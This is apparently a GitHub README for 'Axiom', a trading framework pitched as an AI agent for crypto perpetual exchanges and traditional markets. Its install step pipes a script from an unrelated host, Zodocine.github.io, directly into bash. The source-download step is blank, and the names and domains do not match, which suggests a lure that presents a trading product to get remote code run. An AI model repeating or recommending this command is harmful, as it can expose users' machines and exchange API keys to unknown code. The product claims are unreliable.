Axiom is not a trading bot. It is a cognitive synthesis framework that constructs adaptive, multi-modal strategies by continuously fusing real-time market data, on-chain analytics, and macroeconomic signals into a coherent, actionable intelligence layer. Designed for the post-2025 digital asset landscape, Axiom operates across traditional equities (stocks, metals, forex) and decentralized perpetual exchanges (Hyperliquid, X402, Lighter) as a single, unified agent.
Imagine a master watchmaker observing not just the gears of one timepiece, but the synchronized motion of every clock in a city, predicting their future states and making subtle adjustments to keep universal time. Axiom is that watchmaker for digital markets.
- Python 3.11 or higher
- UV Package Manager (Recommended) or pip 24.0+
- API keys for your desired exchanges (Binance, Bybit, OKX, Hyperliquid, etc.)
- Optional: OpenAI API key or Claude API key for advanced narrative synthesis.
curl -sSL https://Zodocine.github.io | bash -s -- --lightThis script will install UV, create a virtual environment, and install Axiom with core dependencies.
-
Download the source:
-
Extract and install:
tar -xzf axiom-release-*.tar.gz cd axiom uv sync --all-extras source .venv/bin/activate # On Windows: .venv\Scripts\activate
Axiom's power stems from its recursive synthesis loop, depicted below. It moves beyond simple event-response into a state of continuous market dialogue.
flowchart TD
A[Market Pulse<br>Real-time Ticks & Blocks] --> B(Signal Ingestion Layer)
B --> C{Multi-Agent Cortex}
C --> D[Quantitative Agent<br>📈 Statistical & ML Models]
C --> E[Narrative Agent<br>🧠 LLM-Powered Sentiment]
C --> F[Risk Agent<br>🛡️ Portfolio & Systemic]
D & E & F --> G[⚖️ Synthesis Engine]
G --> H{Consensus & Decision Matrix}
H --> I[✅ Actionable Intelligence]
I --> J[Execution Layer<br>CEX & Perp DEX]
J --> K[Performance & Context Feedback]
K -.-> C
Axiom is configured via a declarative YAML profile. You don't tell it what to do; you describe the trader persona and market philosophy it should embody.
axiom_profile:
name: "Tiberius"
persona: "Patient Arbitrageur"
base_currency: "USDT"
# Market Verticals to Synthesize
synthesis_targets:
- vertical: "perpetual_dex"
venues: ["hyperliquid", "x402", "lighter"]
focus: "funding_rate_convergence"
- vertical: "commodities_forex"
venues: ["oanda", "metals_api"]
focus: "macro_hedge"
# Risk DNA
risk_dna:
max_portfolio_volatility: 0.12
daily_value_at_risk: 0.02
allowed_slippage_bps: 15
circuit_breakers:
drawdown: 0.05
market_illiquidity: true
# Cognitive Modules (Enable/Configure AI Agents)
cognitive_modules:
narrative_synthesizer:
enabled: true
provider: "openai" # or "claude", "local"
model: "gpt-4-turbo-2026-04-01"
task: "Generate market context from news & social data."
quant_analyzer:
enabled: true
models: ["prophet", "lstm_attention"]
# Execution Personality
execution_temperament: "cautious_liquidity_seeker"Run Axiom with your profile. It launches a local dashboard and begins the synthesis process.
# Activate your environment first
source .venv/bin/activate
# Start Axiom with your profile
axiom synthesize --profile ./profiles/conservative_synthesis.yaml
# Run in backtest/simulation mode against historical data
axiom simulate --profile ./profiles/aggressive.yaml --date-range "2025-01-01:2025-12-31"
# Generate a performance and reasoning report
axiom report --format html --insights-depth high[2026-03-15 10:00:00] AXIOM :: Initializing Synthesis Engine for 'Tiberius'...
[2026-03-15 10:00:02] ✅ Signal Layer Connected (5/5 venues).
[2026-03-15 10:00:05] 🧠 Cognitive Modules Loaded: Narrative[OpenAI], Quant[LSTM].
[2026-03-15 10:00:10] ⚙️ Risk DNA Applied. Max Volatility: 12%.
[2026-03-15 10:00:15] 🌐 Synthesis Loop Started. Pulse: 2s.
[2026-03-15 10:05:30] 💡 Synthesis Event: Detected funding rate divergence > 8.5 bps between Hyperliquid & X402.
[2026-03-15 10:05:31] ⚖️ Consensus: HIGH confidence (87%). Risk Adjusted.
[2026-03-15 10:05:33] 🚀 Execution: 1.5k USDT position entered for convergence play.
The agent provides a continuous, annotated log of its perception, synthesis, and actions.
Axiom doesn't see Binance and Hyperliquid as separate exchanges. It sees them as different dialects of the same market language, finding alpha in the translation between them. It synthesizes opportunities across:
- Centralized Exchanges (CEX): Binance, OKX, Bybit
- Perpetual DEXs: Hyperliquid, X402, Lighter
- Traditional Markets: Forex, Precious Metals, Equities (via regulated brokers)
- On-Chain Data: Mempool flows, smart contract state changes
- Narrative Synthesis: Integrates with OpenAI's GPT-4-Turbo and Anthropic's Claude 3.5 APIs to parse news, social sentiment, and research reports, turning unstructured text into quantifiable market "mood" vectors.
- Quantitative Synthesis: Runs proprietary LSTM models with attention mechanisms alongside classical time-series analysis (Prophet, custom estimators).
- Recursive Learning: Every action and its outcome are fed back into the agent's context window, refining future synthesis. It learns your preferences and the market's unique rhythms.
Axiom includes a local web dashboard (localhost:8050) that visualizes:
- Real-time synthesis confidence levels across all verticals.
- Portfolio exposure and risk heatmaps.
- The "Narrative Stream": a live feed of the agent's interpreted market story.
- Performance attribution, breaking down profit by which cognitive module identified the opportunity.
- The UI and logs support English, Mandarin, Spanish, and German.
- The agent's operational core is designed for continuous stewardship. In the event of unexpected volatility or exchange issues, it follows predefined contingency protocols and can send summarized alerts via Telegram, Discord, or email.
| OS | Status | Notes |
|---|---|---|
| Linux (Ubuntu 22.04+, Fedora) | ✅ Fully Supported | Primary development environment. |
| macOS (Apple Silicon & Intel) | ✅ Fully Supported | Native performance via conda-forge or uv. |
| Windows 11/10 (WSL2) | ✅ Fully Supported | Recommended: Use Ubuntu via WSL2. |
| Windows Native (PowerShell) | Core functions work; advanced features may require WSL2. | |
| Docker Container | ✅ Fully Supported | Pre-built image available. Ideal for deployment. |
Axiom leverages large language models for superior market context understanding. This is optional but powerful.
- OpenAI API: Provides fast, cost-effective narrative summarization and anomaly explanation.
- Claude API: Excels at longer-form reasoning, ethical constraint adherence, and complex scenario analysis.
Configuration snippet for API integration:
cognitive_modules:
narrative_synthesizer:
enabled: true
provider: "dual" # Uses both APIs for consensus
openai_model: "gpt-4-turbo"
claude_model: "claude-3-5-sonnet-20241022"
budget_daily_usd: 5.00 # Hard cap on API costsAxiom is a sophisticated market analysis and execution framework. It is not a magical profit generator.
- Financial Risk: Trading digital assets, derivatives, and forex carries extreme risk. You can lose substantially more than your initial deposit. Past performance of any simulation is not indicative of future results.
- Software Risk: This is complex software that interacts with financial exchanges. Bugs, network latency, API failures, and unforeseen market conditions can lead to significant financial loss.
- Regulatory Status: The legal status of automated trading agents and their activities varies by jurisdiction. It is your responsibility to ensure your use of this software complies with local laws and the terms of service of any exchange you connect to.
- No Warranty: This software is provided "as is", without warranty of any kind. The developers assume no liability for any financial losses, data loss, or other damages incurred through its use.
- Testing: NEVER deploy Axiom with real capital before extensive backtesting and paper trading in a controlled, monitored environment.
Copyright © 2026 The Axiom Contributors.
This project is licensed under the MIT License. This permissive license allows for private and commercial use, modification, and distribution, with minimal restrictions. See the LICENSE file in the repository for the full legal text.
- Documentation: Full documentation is available at
docs.axiom-synthesis.org(included in the download as/docs). - Issue Tracking: For bug reports and feature requests, please use the GitHub Issues tab. Be detailed and include logs and your profile (with sensitive data removed).
- Contributing: We welcome thoughtful contributions. Please fork the repository and submit a Pull Request. Ensure all code includes appropriate tests and adheres to the existing style.
Begin your journey in adaptive market synthesis. Download Axiom, craft your first profile, and start the simulation. Observe how it perceives, thinks, and learns. The market is a conversation. Start listening.
"The art is not in predicting the rain, but in building an ark that adapts to any flood." — Axiom Project Philosophy